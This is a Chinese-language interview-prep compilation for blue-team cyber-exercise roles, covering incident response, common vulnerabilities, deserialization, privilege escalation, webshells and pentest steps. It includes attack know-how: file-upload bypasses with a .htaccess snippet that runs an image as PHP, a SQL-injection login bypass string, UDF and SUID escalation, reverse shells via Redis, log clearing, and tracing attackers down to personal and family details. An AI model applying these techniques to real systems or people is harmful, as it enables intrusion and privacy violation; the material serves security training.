声明:护网面试高峰期想要护网的同学看看看
1、基础漏洞
太多了:端口 服务常见漏洞、常见数据库漏洞、常见web类漏洞、WEB服务器漏洞
(1)端口 服务常见漏洞
21
FTP
匿名访问,弱口令
22 SSH 弱口令登录
23 Telnet 弱口令登录
80 Web 常见Web漏洞或后台登录弱口令
161 SNMP public弱口令
389 LDAP 匿名访问
443 openssl 心脏滴血等
445 smb 操作系统溢出漏洞
873 rsync 匿名访问,弱口令
1099 JAVArmi 命令执行
1433 MsSQL 弱口令
1521 Oracle 弱口令
2601 Zebra 默认密码zebra
3128 squid 匿名访问(可能内网漫游)
3306 MySQL 弱口令
3389 RDP 远程桌面弱口令
(2)数据库漏洞:MySQL数据库、MSSQL数据库、Oracle数据库、PostgreSQL数据库、Redis数据库等等
(3)常见web类漏洞:WEB中间件: Tomcat、Jboss、WebLogic
(4)WEB服务器漏洞:IIS(Windows 的 WWW 服务器)、Apache、Nginx、lighttpd
2、溯源和应急响应
(1)应急响应的流程
1.准备已经编译好的工具以及取证分析等工具干净可靠放U盘
2.初步判断事件的类型,是被入侵、ddos还是其它的原因
3.首先抑制范围、影响范围,隔离使受害面不继续扩大。
4.寻找原因,封堵攻击源。
5.把业务恢复至正常水平
6.监控有无异常,报告、管理环节的自省和改进措施。
(2)溯源
溯源方式:第一种,可以通过相关联的域名/IP进行追踪;
第二种,对钓鱼网站进行反向渗透获取权限,进一步收集攻击者信息;
第三种,通过对邮件恶意附件进行分析,利用威胁情报数据平台寻找同源样本获取信息,也能进一步对攻击者的画像进行勾勒。
3、Java反序列
答案一
反序列化漏洞写Webshell
修改ysoserial使其支持生成java代码执行Payload,如果调用ysoserial时候命令参数处有code:就可执行java代码,否则执行命令
使用stderr输出,防止影响payload的输出,然后重新使用mvn编译ysoserial
获取网站路径,向web目录写文件,写webshell
答案二
就是指把字节序列恢复为 java 对象的过程,一般都是利用专门的反序列化测 试工具 如果存在 struts2 这个框架漏洞 那么可以直接在测试工具的输入 框执行命令、
4、udf提权
答案一
MySQL_UDF提取
要求: 1.目标系统是Windows(Win2000,XP,Win2003);2.拥有MYSQL的某个用户账号,此账号必须有对mysql的insert和delete权限以创建和抛弃函数
3.有root账号密码 导出udf: MYSQL 5.1以上版本,必须要把udf.dll文件放到MYSQL安装目录下的lib\plugin文件夹下才能创建自定义函数
可以再mysql里输入select @@basedirshow variables like ‘%plugins%’ 寻找mysql安装路径 提权:
使用SQL语句创建功能函数。语法:Create Function 函数名(函数名只能为下面列表中的其中之一)returns string soname ‘导出的DLL路径’;
答案二
UDF (user defined function),即用户自定义函数。是通过添加新函数,对MySQL的功能进行扩充,
其实就像使用本地MySQL函数如 user() 或 concat() 等
答案三
udf 提权,自定义函数提权,需要一个写的权限,还需要一个特殊的插件目 录!sqlmap,下面有自定义函数提权的脚本
5、如何拿webshell怎样提权
答案一
(1)ROOT提权如果你获得了MSSQL的密码,那么就可以导入注册表的方式,利用MSSQL语句执行我们想要的命令了
(2)FTP溢出提权(这个用到LCX工具,本地溢出,转发一个端口,虽然不是内网,利用默认的21进行提升权限)
(3)IIS提权(IIS6.0提权,首先需要获取IIS的配置信息,利用工具进行添加后门用户)
答案二
因为大多数的应用用户是没有登录权限的,我们可以使用 Suid 提权,查找一 个带有 S 权限的文件一般为二进制文件,然后根据找到的文件,使用 nmap,find 等命令打开一个 shell,在这个 shell 里面就可以执行一些 root 命令 了。或者可以查看/etc/passwd 的文件看看此主机有什么可以登录的用户,然后针 对密码进行一个爆破
6、应急响应
答案一
1. 取证,登录服务器,备份,检查服务器敏感目录,查毒(搜索后 门文件 - 注意文件的时间,用户,后缀等属性),调取日志(系统 日志,中间件日志,WAF 日 志等);
2. 处理,恢复备份(快照回滚,最近一次),确定入侵方法(漏洞 检测,并进行修复)
3. 溯源,查入侵 IP,入侵手法(网路攻击事件)的确定等
4. 记录,归档--------预防-事件检测-抑制-根除-恢复-跟踪-记录 通用漏洞的应对等其他安全应急事件
答案二
首先封堵 IP 但是不能只封 IP 还要修漏洞 要不人家换个 IP 一样打进来我们可以根据日志查看红队的一个攻击路径,最好是使用第三方的监控的日 志因为高明的黑客懂得打扫战场,但是第三方的日志他就很难更改或者删除,比 如他是通过文件上传一个木马,我们可以给上传的目录一个不可执行,或者隐藏 反馈信息,使上传路径不暴露出来,再或者使用随机重命名,命名上传的文件名 其次 检测木马 可以用 webshell 查杀工具 比如河马 D 盾 进行一个查杀 如果是普通木马 手工查杀 可以查看连接 netstart -anpt 有没有什么可疑连 接 kill 杀死进程 使用 find 查找*.php 的文件 或者通过 ps 命令查找木马进程的文件 删除 如果是内存马 内存马不落地 还是使用 webshell 查杀工具 最好多使用几 种 增加命中率
7、 getshell 的几种方式
比如:文件上传,RCE,反序列化
8、反弹 shell 的写入方式
比如可以利用 redis 数据库的未授权访问 可以直接写入反弹 shell 拿到系统 权限 或者我们可以写入一个 ssh 公钥,直接登录了
9、查看服务器是否存在可疑账号、新增账号
检查方法:打开 cmd 窗口,输入 lusrmgr.msc 命令,查看是否有新增/可疑的账号,
如有管理员群组的(
Administrators)里的新增账户,如有,请立即禁用或删除掉。
10、查看服务器是否存在隐藏账号、克隆账号。
检查方法:
a、win+R 输入“regedit” 打开注册表,查看管理员对应键值。
b、使用 D 盾_web 查杀工具,集成了对克隆账号检测的功能。
11、结合日志,查看管理员登录时间、用户名是否存在异常。
检查方法:
Win+R 打开运行,输入“eventvwr.msc”,回车运行,打开“事件查看器”。
12、检查异常端口、进程
(1)检查端口连接情况,是否有远程连接、可疑连接。
检查方法:
a、netstat -ano 查看目前的网络连接,定位可疑的 ESTABLISHED
b、根据 netstat 定位出的 pid,再通过 tasklist 命令进行进程定位 tasklist|
findstr “PID”
(2)进程
检查方法:
a、开始–运行–输入 msinfo32,依次点击“软件环境→正在运行任务”就可以查看
到进程的详细信息,比如进程路径、进程 ID、文件创建日期、启动时间等。
b、打开 D 盾_web 查杀工具,进程查看,关注没有签名信息的进程。
c、通过微软官方提供的 Process Explorer 等工具进行排查。
d、查看可疑的进程及其子进程。可以通过观察以下内容:
没有签名验证信息的进程
没有描述信息的进程
进程的属主进程的路径是否合法
CPU 或内存资源占用长时间过高的进程
小技巧:
a、查看端口对应的 PID:netstat -ano | findstr “port”
b、查看进程对应的 PID:任务管理器–查看–选择列–PID 或者 tasklist|
findstr “PID”
c、查看进程对应的程序位置:
任务管理器–选择对应进程–右键打开文件位置
运行输入 wmic,cmd 界面输入 process
d、tasklist /svc 进程–PID–服务
e、查看 Windows 服务所对应的端口:
%system%/system32/drivers/etc/services
(一般%system%就是 C:\Windows)
13、检查服务器是否有异常的启动项。
检查方法:
a、登录服务器,单击【开始】>【所有程序】>【启动】,默认情况下此目录在是
一个空目录,确认是否有非业务程序在该目录下。
b、单击开始菜单>【运行】,输入 msconfig,查看是否存在命名异常的启动项目,
是则取消勾选命名异常的启动项目,并到命令中显示的路径删除文件。
c、单击【开始】>【运行】,输入 regedit,打开注册表,查看开机启动项是否正
常,特别注意如下三个注册表项:
HKEY_CURRENT_USER\software\micorsoft\windows\currentversion\run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Runonce
检查右侧是否有启动异常的项目,如有请删除,并建议安装杀毒软件进行病毒查杀,
清除残留病毒或木马。
d、利用安全软件查看启动项、开机时间管理等。
e、组策略,运行 gpedit.msc。
14、检查计划任务
检查方法:
a、单击【开始】>【设置】>【控制面板】>【任务计划】,查看计划任务属性,便
可以发现木马文件的路径。
b、单击【开始】>【运行】;输入 cmd,然后输入 at,检查计算机与网络上的其它
计算机之间的会话或计划任务,如有,则确认是否为正常连接。
15、服务自启动
检查方法:单击【开始】>【运行】,输入 services.msc,注意服务状态和启动类型,
20检查是否有异常服务。
16、查看系统版本以及补丁信息
检查方法:单击【开始】>【运行】,输入 systeminfo,查看系统信息 HW 项目经验
17、查找可疑目录及文件
检查方法:
a、查看用户目录,新建账号会在这个目录生成一个用户目录,查看是否有新建用
户目录。
Window 2003C:\Documents and Settings
Window 2008R2C:\Users\
b、单击【开始】>【运行】,输入%UserProfile%\Recent,分析最近打开分析可
疑文件。
c、在服务器各个目录,可根据文件夹内文件列表时间进行排序,查找可疑文件。
18、病毒查杀
检查方法:
下载安全软件,更新最新病毒库,进行全盘扫描
19、Java 序列化基础知识
(1)什么是序列化与反序列化?
基本概念
• 把Java对象转换为字节序列的过程称为对象的序列化(Serialization)
• 把字节序列恢复为Java对象的过程称为对象的反序列化(DeSerialization)
JDK 类库中的序列化API
Java.io.ObjectOutputStream 代表对象输出流,它的writeObject(Object obj) 方
法可对参数指定的obj 对象进行序列化,把得到的字节序列写到一个目标输出流中。
Java.io.ObjectInputStream 代表对象输入流,它的readObject() 方法从一个源输
入流中读取字节序列,再把它们反序列化为一个对象,并将其返回。
只有实现了Serializable 和Externalizable 接口的类的
1、常见数据库的默认端口号
mysql 3306、redis 6379、MSSQL 1433、oracle 1521
2、sftp,telnet,ssh的端口号? ssh和telnet有什么区别?
sftp:22、telnet:23、ssh:22
SSH和telnet区别:SSH加密传输数据,telnet明文传输数据
3、常用的安全工具有哪些?扫描端口用哪些工具?
端口及漏洞扫描:nmap、nessus
数据抓包:wireshark、burpsuite
web扫描工具:AWVS(Acunetix Web Vulnerability Scanner)、appscan
4、常见HTTP状态码
2XX,处理成功。如200,请求成功
3XX,重定向。如302,所请求的页面已经临时转移至新的 URL
4XX,客户端错误。如404,找不到文件
5XX,服务器错误。如503,服务器当前不可用
5、对网络协议了解多少?
网络协议是为计算机网络中进行数据交换而建立的规则、标准或约定的集合。
常见的网络协议:HTTP、FTP、telnet
HTTP协议: http协议是基于TCP/IP协议之上的应用层协议。HTTP是无连接的基于 请求-响应 的模式。
6、渗透测试
一般是指通过模拟黑客的恶意攻击,来评估计算机网络系统的安全性,若发现系统存在漏洞,则提交渗透报告给被测试系统的拥有者,并提供修复方案。渗透测试思路:1.信息收集。2.攻击测试。3.提升权限。4.攻击测试。
7、OWASP top10(Web应用安全10大漏洞)
OWASP(Open Web Application Security Project:开放式Web应用程序安全项目),其最具权威的就是“10项最严重的Web 应用程序安全风险列表” ,总结了Web应用程序最可能、最常见、最危险的十大漏洞,是开发、测试、服务、咨询人员应知应会的知识。以下排名来自OWASP TOP 10 2017:
A1、注入 。A2 失效的身份认证。A3 敏感数据泄露。A4 XML外部实体漏洞(XXE)。A5失效的访问控制。A6 安全配置错误。A7 跨站脚本攻击(xss)。A8不安全的反序列化。A9使用含有已知漏洞的组件。A10 不足的日志记录和监控。
(问到OWASP top10[10大应用安全漏洞],要能说出4个漏洞原理,如注入、XSS漏洞、失效的身份认证、敏感数据泄露等。漏洞原理请自行百度搜索:OWASP top10)
8、sql注入原理及修复?
SQL注入原理:用户将恶意的SQL语句插入到应用的输入参数中,后台SQL服务器解析执行恶意SQL语句,形成SQL注入攻击。
SQL注入修复:
A、过滤用户输入的恶意字符
B、使用预编译。
9、XSS攻击原理和修复
XSS 全称(Cross Site Scripting) 跨站脚本攻击。
XSS攻击原理:浏览器执行用户输入的JS代码,
常见的 XSS 攻击类型:反射型XSS攻击、DOM型XXS攻击以及存储型XSS攻击。
XSS漏洞修复:
1、服务端过滤用户输入的危险字符
2、对输出内容进行HTML实体编码
10、什么是越权?简述一下水平越权和垂直越权
越权(失效的访问控制), 指未对通过身份验证的用户实施恰当的访问控制。攻击者可以利用这些缺陷访问未经授权的功能或数据( 直接的对象引用或限制的URL ) 。例如:访问其他用户的帐户、查看敏感文件、修改其他用户的数据、更改访问权限等。表现形式:水平权限、垂直权限水平越权:本来有个账号(即只能操作自己的数据,比如增删改查),但是通过越权操作,能操作其他同等权限账号的数据。垂直越权:本来有个账号只有小权限,但是通过越权操作,获取了大权限。
11、护网蓝方的三个阶段备战阶段、临战阶段、决战阶段
备战阶段:1前期的自查工作如:互联网暴露资产自查,网络安全架构分析,内部账号安全审计,安全能力缺陷补充,全面基础安全自查等。2关闭不在用的业务系统;3关闭重要系统外网访问通道,通过VPN进行业务操作。
临战阶段:进行内部攻防演练。发现备战期所忽略的地方,对所忽略的风险进行整改。对原本已有的一些安全设备进行策略优化,同时也新增了一些安全设备。
决战阶段:利用检测手段做好自己的工作,发现攻击事件立即向上级报告并 做好应急处理。加强安全防护,优化防御手段。随时做好突发应急准备。
12、应急响应流程,做些什么?
其基本流程包括收集信息、判断类型、深入分析、清理处置、产出报告。
1收集信息:收集客户信息和中毒主机信息。2判断类型:判断是否是安全事件,何种安全事件,勒索、挖矿、断网、DoS等等。3深入分析:日志分析、进程分析、启动项分析、样本分析。4清理处置:直接杀掉进程,封禁可疑的IP,删除恶意陌生的文件,打补丁,抑或是修复文件。5产出报告:整理并输出完整的安全事件报告。向上级报告。
1.有护网经验吗 接触过哪些设备
参加过去年4月份的护网 接触过防火墙,WAF,堡垒机,IPS,IDS,态势感知,天眼
- 接触的waf是哪个厂家的
安恒 绿盟 启明星辰
- 遇到过反序列化漏洞吗
反序列化就是将字节流还原成对象
原理:攻击者通过构造恶意的参数,使数据在在反序列化后生成特殊的对象类型,从而执行恶意代码
- 文件上传漏洞怎么绕过后缀名过滤
(1)后缀名大小写绕过
(2)后缀名双写绕过
(3)特殊字符绕过 使用burp截取数据包在后缀名后边加个空格 例如:将【evil.php】改成【evil.php 】
(4)修改配置可以通过.htaccess文件
.htaccess:在文件特定目录下作用于该目录和子目录中可以配置文件目录下文件以何种格式解析的文件。利用AddType 指令将特定扩展名文件映射为php文件类型。如指定php5为php文件解析执行。
在没有禁止.htaccess文件的情况下,可以上传.htaccess文件来修改apache的配置
比如将.htaccess文件内容书写为下:
<FilesMatch “muma.jpg(即将上传的文件名)”>
SetHandler application/x-httpd-php
这段代码的意义就是将muma.jpg这个文件当作php文件解析。这样就绕过了黑名单检测
- 如果现在让你做一个windows应急外联你能做吗
6.上报流程内容 怎么判断真实攻击还是误报 用过哪些设备 了解哪些漏洞 sql注入原理防御方法
判断看请求头有没有攻击行为 然后看这个攻击ip一周内有没有其他行为,要了解管辖的局点网段信息
Sql注入原理:程序员开发过程中的不规范书写和对用户的输入没有进行过滤;用户输入的数据被带入数据库执行。(SQL注入就是把SQL命令插入到Web表单然后提交到所在页面请求(查询字符串),从而达到欺骗服务器执行恶意的SQL命令。它是利用现在已有的应用程序,将SQL语句插入到数据库中执行,执行一些并非按照设计者意图的SQL语句
)
手法:
网站没有对用户请求参数的值进行任何的过滤或转码,从而造成的注入漏洞。举个简单的SQL注入漏洞的例子,比方说,当我们登录账号时,在账号后面加上‘and 1=1;–然后随便输入一个密码,提交上去。这个时候网站会构建一个select语句发给服务器进行验证,如果说网站对我们的输入的内容没有进行过滤的话,那么这条SQL语句执行的时候就会以分号结束,破折号会把后面的密码给注释掉,从而构成永真式,然后直接能登陆成功。
sql注入防御:可以有预编译 和过滤恶意字符。
预编译:提前将SQL语句发送给数据库进行预编译,提前确定了执行计划,对于输入的参数,无论是什么,都会按照原先的计划进行填入执行,不会再改变SQL的逻辑结构。
怎么修复sql注入漏洞?
预编译,过滤特殊字符,站库分离
7.冰蝎和蚁剑流量特征
交互流量进行对称加密,http 包头中,content-type 为 application/octet-stream 强行特征码 。冰蝎 3.0 内置的默认 16 个 userAgent,可以作为 waf 规则特征。
冰蝎2.0和3.0区别:3.0 分析流量发现相比 2.0 少了动态密钥的获取的请求,aes 密钥变为 md5(“pass”)[0:16] 意思就是为连接密码 32 位 md5 的前 16 位。全程不再交互密钥生成,一共就俩次请求,第一次请求为判断是否可以建立连接,少了俩次 get 获取冰蝎动态密钥的行为
蚁剑:可以对流量进行加密、混淆。但是有些关键代码没有被加密,如:PHP中的ini_set;ASP中的OnError,response等
冰蝎:是一款动态二进制加密网站管理客户端。主要用于配合服务端shell的动态二进制加密通信,适用于WAF拦截回显等场景,客户端的流量无法检测。
哥斯拉:是基于流量、HTTP全加密的webshell工具。哥斯拉全部类型的shell 能绕过市面所有静态查杀;哥斯拉流量加密 能绕过市面全部流量waf
8.文件上传显示状态码200,怎么查看文件是否上传成功
文件上传可以在当前上传点添加文件名称 或者给名称转url编码看能不能访问到这个资源。
· 怎么判断文件上传是否成功?
看响应码 看报文件 看上传的文件类型是不是PHP类型的木马文件
· 文件上传漏洞怎么防御?
限制上传文件大小
确保上传文件被访问正确返回
限制文件上传类型
白名单结合黑名单
· 文件上传成功了怎么看到的位置
URL,先上传一个正常的文件,查看他的位置,后面所有上传的文件都在那个位置
- IDS和IPS的区别:
ids:入侵检测系统
一种对网络传输进行即时监视,在发现可疑传输时发出警报或者采取主动反应措施的网络安全设备
Ips:入侵防御系统:能够即时的中断、调整或隔离一些不正常或是具有伤害性的网络资料传输行为。IPS具有检测已知和未知攻击并具有成功防止攻击的能力而IDS没有。
- Webshell
webshell就是一个asp或php木马后门,黑客在入侵了一个网站后,常常在将这些 asp或php木马后门文件放置在网站服务器的web目录中,与正常的网页文件混在一起。然后黑客就可以用web的方式,通过asp或php木马后门控制网站服务器,包括上传下载文件、查看数据库、执行任意程序命令等。
webshell最大的特点就是可以穿越防火墙,由于与被控制的服务器或远程主机交换的数据都是通过80端口传递的,因此不会被防火墙拦截。并且使用webshell一般不会在系统日志中留下记录,只会在网站的web日志中留下一些数据提交记录,没有经验的管理员是很难看出入侵痕迹的。
webshell是网站入侵的脚本攻击工具,黑客通过入侵网站上传webshell后获得服务器的执行操作权限,比如执行系统命令、窃取用户数据、删除web页面、修改主页等。
- Java/php反序列化漏洞
序列化是将运行时变量和程序对象转换成可以存储或传输的形式的过程。
反序列化是将序列化形式转换回内存变量和程序对象的相反过程。
把字节序列恢复为java对象的过程
··· JAVA Java 序列化是指把 Java 对象转换为字节序列的过程便于保存在内存、文件、数据库中,ObjectOutputStream类的 writeObject() 方法可以实现序列化。
Java 反序列化
是指把字节序列恢复为 Java 对象的过程,ObjectInputStream 类的 readObject() 方法用于反序列化。如果存在 struts2 这个框架漏洞 那么可以直接在测试工具的输入 框执行命令
反序列化版本的对象时会把一些新版本的值设为默认值来,这样做反而会削弱老版本完成反序列化的能力.
序列化和反序列化:将PHP中 对象、类、数组、变量、匿名函数等,转化为字符串,方便保存到数据库或者文件中。
php反序列化漏洞
关于php面向对象编程:
对象:可以对其做事情的一些东西。一个对象有状态、行为和标识三种属性。
类:一个共享相同结构和行为的对象的集合。
每个类的定义都以关键字class开头,后面跟着类的名字。一个类可以包含有属于自己的变量,变量(称为“属性”)以及函数(“称为方法”)。类定义了一件事物的抽象特点。通常来说,类定义了事物的属性和它可以做到的。类可能会包含一些特殊的函数叫magic函数,magic函数命名是以符号“_”开头的,比如_construct,_destruct,_toString,_sleep,_wakeup等。这些函数在某些情况下会自动调用,比如:_construct当一个对象创建时调用(constructor);_destruct当一个对象被销毁
序列化:serialize
反序列化:unserialize.
反序列化就是再将这个状态信息拿出来使用。当传给 unserialize() 的参数可控时,那么用户就可以注入精心构造的payload。当进行反序列化的时候就有可能会触发对象中的一些魔术方法,造成意想不到的危害。反序列化用到的函数:
- 内存马(webshell):
内存webshell相比于常规webshell更容易躲避传统安全监测设备的检测,通常被用来做持久化,规避检测,持续驻留目标服务器。
Webshell内存马,是在内存中写入恶意后门和木马并执行,达到远程控制Web服务器的一类内存马,其瞄准了企业的对外窗口:网站、应用。但传统的Webshell都是基于文件类型的,黑客可以利用上传工具或网站漏洞植入木马,区别在于Webshell内存马是无文件马,利用中间件的进程执行某些恶意代码,不会有文件落地,给检测带来巨大难度。而内存攻击者正是利用软件安全漏洞,构造恶意输入导致软件在处理输入数据时出现非预期错误,将输入数据写入内存中的某些特定敏感位置,从而劫持软件控制流、执行流,转而执行外部输入的指令代码,造成目标系统被获取远程控制,让内存马的攻击得以实现。
如果一个服务器被黑了怎么办?(应急响应的流程)
收集信息:收集客户信息和中毒主机信息,包括样本(进行核实)
判断类型:判断是否是安全事件,何种安全事件,勒索、挖矿、断网、DoS 等等
抑制范围:隔离使受害⾯不继续扩⼤,服务器保护
深入分析:日志分析、进程分析、启动项分析、样本分析方便后期溯源
清理处置:杀掉进程,删除文件,打补丁,删除异常系统服务,清除后门账号防止事件扩大,处理完毕后恢复生产
产出报告:整理并输出完整的安全事件报告
比如:
首先封堵 IP 但是不能只封 IP 还要修漏洞 要不人家换个 IP 一样打进来
我们可以根据日志查看红队的一个攻击路径,最好是使用第三方的监控的日 志因为高明的黑客懂得打扫战场,但是第三方的日志他就很难更改或者删除,比 如他是通过文件上传一个木马,我们可以给上传的目录一个不可执行,或者隐藏
反馈信息,使上传路径不暴露出来,再或者使用随机重命名,命名上传的文件名
其次 检测木马 可以用 webshell 查杀工具 比如河马 D 盾 进行一个查杀
如果是普通木马 手工查杀 可以查看连接 netstart -anpt 有没有什么可疑连
接 kill 杀死进程
使用 find 查找*.php 的文件 或者通过 ps 命令查找木马进程的文件 删除
如果是内存马 内存马不落地 还是使用 webshell 查杀工具 最好多使用几
种 增加命中率
例子:
中木马,公司里面的资产中了木马,先拔网线(使他不能跟外面进行通信),然后使用PE系统对中招的资产进行根除,完了之后恢复业务,然后提交报告,防止这个事件再次发生。
- xml(外部实体注入漏洞)
还有什么实体:字符实体、命名实体、外部实体、参数实体、内部实体
普通实体和参数实体都分为内部实体和外部实体两种,外部实体定义需要加上 SYSTEM关键字,其内容是URL所指向的外部文件实际的内容。如果不加SYSTEM关键字,则为内部实体,表示实体指代内容为字符串。
- fastjson反序列化漏洞
威胁研究 | Fastjson 最新反序列化漏洞复现与防御指南_shell (sohu.com)
原理:fastjson反序列化漏洞,攻击者可以传入一个而已构造的json内容,程序对其进行反序列化后得到恶意类中的恶意函数,进而导致代码执行。
· 若反序列化指定类型的类如“Student obj = JSON.parseObject(text, Student.class);”,该类本身的构造函数、setter方法、getter方法存在危险操作,则存在Fastjson反序列化漏洞;
· 若反序列化未指定类型的类如“Object obj = JSON.parseObject(text, Object.class);”,该若该类的子类的构造方法、setter方法、getter方法存在危险操作,则存在Fastjson反序列化漏洞。
- waf与防火墙的区别
Waf工作在OSI的应用层,基于特征库匹配,能够过滤特定web应用程序的内容,防止web应用程序安全漏洞的攻击,例如:SQL注入,跨站脚本,文件包含和安全配置错误;
防火墙则工作在传输层(对网络层和传输层起作用)。及时提醒和处理计算机运行中可能存在的安全风险和数据传输等问题。
主要对web请求/响应进行防护。
- TCP与UDP的区别:
TCP(Transmission Control Protocol)
传输控制协议
可靠的、面向连接的协议
传输效率低
UDP(User Datagram Protocol)
用户数据报协议
不可靠的、无连接的服务
传输效率高
- 路由器的转发原理
重新封装MAC地址
路由交换对比
路由器:负责转发过程,根据路由表转发,属于路由(CPU)转发,工作在网络层,阻隔任何广播
交换机:根据MAC地址表进行转发,属于硬件(芯片)转发,工作在数据链路层,转发广播
19. burp安装过哪些插件?
Java、Python等,商店里面有很多不同等级的插件
20. 渗透测试的流程:
1、 信息收集
a) 查询网站的注册信息
b) 搜集服务器旁站和子域名站点
c) 查看服务器类型,linux/windows
d) 扫描IP的端口
e) 扫描网站结构的目录
2、 扫描漏洞
XSS SCRF SQL注入 命令注入 文件上传 文件包含 任意文件读取 越权访问
3、 漏洞利用
使用以上方式提升Webshell权限,或者其他权限
4、 权限提升
提权服务器,比如windows下mysql的udf提权,serv-u提
windows低版本的漏洞,如iis6,pr,巴西烤肉,linux脏牛漏洞
linux内核版本漏洞提权,linux下的mysql system提权以及oracle低权限提权
5、 清理日志
删除日志
- 总结汇报提出修复建议
21. 给你一个网站怎么渗透(同上20)
一、信息收集
1.获取域名的 whois 信息,获取注册者邮箱姓名电话等。
2.通过站长之家、明小子、k8、等查询服务器旁站以及子域名站点,因为主站一般比较难,所以先看看旁站有没有通用性的 cms 或者其他漏洞。
通过 DNS 域传送漏洞、备份号查询、SSl 证书、APP、微信公众号、暴力破解、DNS 历史记录、K8 C 段查询、Jsfinder、360 或华为威胁情报、证书序列号获取企业二级域名与 ip。JSFinder是一款用作快速在网站的js文件中提取URL,子域名的工具。
通过 Nmap、Wappalyzer、御剑等查看服务器操作系统版本,web 中间件,看看是否存
在已知的漏洞,比如 IIS,APACHE,NGINX 的解析漏洞
5.通过 7KB、破壳扫描网站目录结构,看看是否可以遍历目录,或者敏感文件泄漏,比如 php 探针(phpinfo.php)、管理员备份文件。
6.google hack (谷歌搜索语法)进一步探测网站的信息,后台,敏感文件
敏感信息收集,如 github 源码、用 7kb、破壳扫源代码泄露(.hg、.git、cvs、svn、.DS_store 源代码泄露)、google hack、接口信息泄露、社工信息泄露、邮箱地址信息收集、网盘搜索、钟馗之眼、天眼查、威胁情报、微步在线等
通过 Wappalyzer、御剑工具对网站指纹识别(包括,cms,cdn,证书等),dns 记录二、
2)漏洞扫描
1)用 AWVS、APPSCAN、长亭科技的 Xray 等扫描器检测 Web 漏洞,如 XSS,XSRF,sql 注入,代码执行,命令执行,越权访问,目录读取,任意文件读取,下载,文件包含, 远程命令执行,弱口令,上传,编辑器漏洞,暴力破解等
2)用 namp、天镜、Nessus、极光等扫描系统 ip,对扫描出来的高危漏洞进行测试,如 ms08067、ms17-010、ms12-020、ms15-035、ms19-0708、永恒之蓝 2 代、cve-2017-7494(samba)、 cve-2014-6271(破壳)、php cgi 等相关漏洞验证。
- 漏洞利用
利用以上的方式拿到 webshell,或者其他权限
- 权限提升
提权服务器,比如 windows 下 mysql 的 udf 提权,serv-u 提权,windows 低版本的漏洞,如 iis6,pr,巴西烤肉,linux 脏牛漏洞,linux 内核版本漏洞提权,linux 下的 mysql system 提权以及 oracle 低权限提权
- 日志清理
操作系统、中间件、数据库等日志进行清除
6)总结报告及修复方案
22. 了解安全设备
ips入侵防御系统 ids入侵监测系统 防火墙 waf (web应用防火墙) 漏洞扫描设备 安全隔离网闸 VPN设备 流量监控设备 防病毒网关(防毒墙)
- 了解waf和ids吗?Waf具体上报有几个点?
Waf:web应用防火墙
能够对常见的网站漏洞进行防护,例如SQL注入、XSS跨站等,目前WAF最基本的防护原理为特征规则匹配,将漏洞特征于设备自身的特征库进行匹配,一旦命中直接阻断,这种方法能够有效防范已知漏洞,但是需要一个强大的特征库支持,特质库需要定期额更新与维护,但是对于零日漏洞,对于未知的漏洞,就需要设备建立自学习机制,根据网站的正常状态,自动学习建立流量模型,以模型为基准判断网站是否遭受攻击 。国内的安恒,绿盟,启明星辰,国外的飞塔,梭子鱼,imperva
ids:入侵检测系统
一种对网络传输进行即时监视,在发现可疑传输时发出警报或者采取主动反应措施的网络安全设备
Waf上报的点:安装一个waf看看
Waf检测特点:异常协议检测、增强的输入验证、及时补丁、规则保护、状态检测
Waf的功能:
- 审计
1.审计的作用是对网站人员的操作登录等进行记录
2.对于安全策略的增加和修改
3.对于用户的属性和权限进行修改和操作(2)访问控制设备
分为主动控制和被动控制
(3)web应用加固
针对有弱点的Web的应用进行安全策略的加固等操作,比如从网络入侵检测的角度来看可以把WAF看成运行在HTTP层上的IDS设备;从防火墙角度来看,WAF是一种防火墙的功能模块;还有人把WAF看作"深度检测防火墙"的增强。
- 用过哪些安全设备/安全工具?
waf,ids,ips,深信服态感,奇安信天眼
深信服的云安全,honeyd蜜罐,gosint、watchdog(看门狗)
- 护网期间怎么分析真实攻击和误报,如果是真实攻击的话说一下上报的内容和流程?
主要看 告警的数据包中的源ip,url请求有无特殊字符或者sql语句,分析和正常业务数据包的异同。
如果是真实攻击,需要及时将样本,源ip,url,上报给研判组。
- 常见的端口号
ftp 端口是21
ssh端口是22
telnet端口是23
DNS端口53
常见数据库的默认端口,MYSQL 3306
redis 6379
mssql 1433
oracle 1521
mongoDB 27017
- xss跨站脚本攻击有几种类型?然后他们有什么区别讲一下
常见的 XSS 攻击有三种:反射型XSS攻击、DOM型XXS攻击以及存储型XSS攻击。
一、允许输入点的不同(这是DOM型与其他两种的区别)
一般情况下,反射型XSS在搜索框啊,或者是页面跳转啊这些地方,而存储型XSS一般是留言,或者用户存储的地方,而DOM呢?是在DOM位置上,不取决于输入环境上。
二、解析位置不同(个人感觉是反射型与存储型区别的本质)
反射型XSS的脚本被解析的地方是浏览器,而存储型XSS的脚本被解析的地方是服务器,DOM型XSS也是浏览器,所以DOM型又叫DOM反射型XSS。但是反射型XSS需要联网,而DOM型不需要!
DOM型:
仅仅在前段页面进行操作的
DOM型XSS其实是一种特殊的反射性XSS,他是基于DOM文档对象模型的一种漏洞
XSS漏洞修复:
1、服务端过滤用户输入的危险字符(<|>|%|#|\x|&|’|\)
2、对输出内容进行HTML实体编码(编码后类似a)
(回答输入过滤,输出编码也可以)
- 溯源
获取攻击IP(一些相关的资料信息),先用IP反查,是否有邮箱,手机信息泄露,通过这些去获取攻击者的社交、购物平台等的信息,最终找到攻击者的姓名,地址,家庭,单位等信息
第一种,可以通过相关联的域名/IP进行追踪;
第二种,对钓鱼网站进行反向渗透获取权限,进一步收集攻击者信息;
第三种,通过对邮件恶意附件进行分析,利用威胁情报数据平台(比如360的威胁情报分析平台,venuseye威胁情报分析平台等)寻找同源样本获取信息,也能进一步对攻击者的画像进行勾勒。
蜜罐溯源:在攻击者入侵蜜罐时,蜜罐可以记录攻击者的入侵行为,获取攻击者的主机信息、浏览器信息、甚至是真实 IP及社交信息。
Web入侵溯源:隔离webshell样本,使用Web日志还原攻击路径,找到安全漏洞位置进行漏洞修复,从日志可以找到攻击者的IP地址,但攻击者一般都会使用代理服务器或匿名网络(例如Tor)来掩盖其真实的IP地址。
在入侵过程中,使用反弹shell、远程下载恶意文件、端口远程转发等方式,也容易触发威胁阻断,而这个域名/IP,提供一个反向信息收集和渗透测试的路径。
- 框架漏洞有哪些?
Spring框架漏洞
原理:
1.Spring Security OAuth2 远程命令执行(CVE-2016-4977)
